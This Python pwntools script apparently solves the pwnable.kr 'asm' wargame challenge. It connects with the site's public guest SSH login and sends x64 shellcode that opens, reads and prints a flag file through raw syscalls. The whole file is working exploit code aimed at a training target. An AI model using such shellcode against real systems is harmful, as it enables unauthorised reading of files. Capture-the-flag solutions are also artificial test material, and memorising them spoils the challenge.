# coding = utf-8

import pwn

def main():
	pwn.context(arch='amd64', os='linux')
	mssh = pwn.ssh(host='pwnable.kr', user='asm', password='guest', port=2222)
	attack = mssh.connect_remote('0.0.0.0', 9026)
	shellcode = pwn.asm("mov rax, 0x101010101010101")
	shellcode += pwn.asm("push rax")
	shellcode += pwn.asm("mov rax, 0x101010101010101 ^ 0x676e6f306f306f")
	shellcode += pwn.asm("xor [rsp], rax")
	shellcode += pwn.asm("mov rax, 0x306f306f306f306f")
	shellcode += pwn.asm("push rax")
	shellcode += pwn.asm("mov rax, 0x3030303030303030")
	shellcode += pwn.asm("push rax")
	shellcode += pwn.asm("mov rax, 0x303030306f6f6f6f")
	shellcode += pwn.asm("push rax")
	shellcode += pwn.asm("mov rax, 0x6f6f6f6f6f6f6f6f")
	shellcode += pwn.asm("push rax")
	shellcode += pwn.asm("mov rax, 0x6f6f6f6f6f6f6f6f")
	shellcode += pwn.asm("push rax")
	shellcode += pwn.asm("mov rax, 0x6f6f6f3030303030")
	shellcode += pwn.asm("push rax")
	shellcode += pwn.asm("mov rax, 0x3030303030303030")
	shellcode += pwn.asm("push rax")
	shellcode += pwn.asm("mov rax, 0x3030303030303030")
	shellcode += pwn.asm("push rax")
	shellcode += pwn.asm("mov rax, 0x303030306f6f6f6f")
	shellcode += pwn.asm("push rax")
	shellcode += pwn.asm("mov rax, 0x6f6f6f6f6f6f6f6f")
	shellcode += pwn.asm("push rax")
	shellcode += pwn.asm("mov rax, 0x6f6f6f6f6f6f6f6f")
	shellcode += pwn.asm("push rax")
	shellcode += pwn.asm("mov rax, 0x6f6f6f6f6f6f6f6f")
	shellcode += pwn.asm("push rax")
	shellcode += pwn.asm("mov rax, 0x6f6f6f6f6f6f6f6f")
	shellcode += pwn.asm("push rax")
	shellcode += pwn.asm("mov rax, 0x6f6f6f6f6f6f6f6f")
	shellcode += pwn.asm("push rax")
	shellcode += pwn.asm("mov rax, 0x6f6f6f6f6f6f6f6f")
	shellcode += pwn.asm("push rax")
	shellcode += pwn.asm("mov rax, 0x6f6f6f6f6f6f6f6f")
	shellcode += pwn.asm("push rax")
	shellcode += pwn.asm("mov rax, 0x6f6f6f6f6f6f6f6f")
	shellcode += pwn.asm("push rax")
	shellcode += pwn.asm("mov rax, 0x6f6f6f6f6f6f6f6f")
	shellcode += pwn.asm("push rax")
	shellcode += pwn.asm("mov rax, 0x6c5f797265765f73")
	shellcode += pwn.asm("push rax")
	shellcode += pwn.asm("mov rax, 0x695f656d616e5f65")
	shellcode += pwn.asm("push rax")
	shellcode += pwn.asm("mov rax, 0x6c69665f6568745f")
	shellcode += pwn.asm("push rax")
	shellcode += pwn.asm("mov rax, 0x7972726f732e656c")
	shellcode += pwn.asm("push rax")
	shellcode += pwn.asm("mov rax, 0x69665f736968745f")
	shellcode += pwn.asm("push rax")
	shellcode += pwn.asm("mov rax, 0x646165725f657361")
	shellcode += pwn.asm("push rax")
	shellcode += pwn.asm("mov rax, 0x656c705f656c6966")
	shellcode += pwn.asm("push rax")
	shellcode += pwn.asm("mov rax, 0x5f67616c665f726b")
	shellcode += pwn.asm("push rax")
	shellcode += pwn.asm("mov rax, 0x2e656c62616e7770")
	shellcode += pwn.asm("push rax")
	shellcode += pwn.asm("mov rax, 0x5f73695f73696874")
	shellcode += pwn.asm("push rax")
	shellcode += pwn.asm("mov rdi, rsp")
	shellcode += pwn.asm("xor edx, edx")
	shellcode += pwn.asm("xor esi, esi")
	shellcode += pwn.asm("push SYS_open")
	shellcode += pwn.asm("pop rax")
	shellcode += pwn.asm("syscall")
	shellcode += pwn.asm("mov rdi, rax")
	shellcode += pwn.asm("xor eax, eax")
	shellcode += pwn.asm("xor edx, edx")
	shellcode += pwn.asm("mov dh, 0x400 >> 8")
	shellcode += pwn.asm("mov rsi, rsp")
	shellcode += pwn.asm("syscall")
	shellcode += pwn.asm("push 1")
	shellcode += pwn.asm("pop rdi")
	shellcode += pwn.asm("xor edx, edx")
	shellcode += pwn.asm("mov dh, 0x400 >> 8")
	shellcode += pwn.asm("mov rsi, rsp")
	shellcode += pwn.asm("push SYS_write")
	shellcode += pwn.asm("pop rax")
	shellcode += pwn.asm("syscall")
	attack.recvuntil('give me your x64 shellcode: ')
	attack.send(shellcode)
	print attack.recvall()

if __name__ == '__main__':
	main()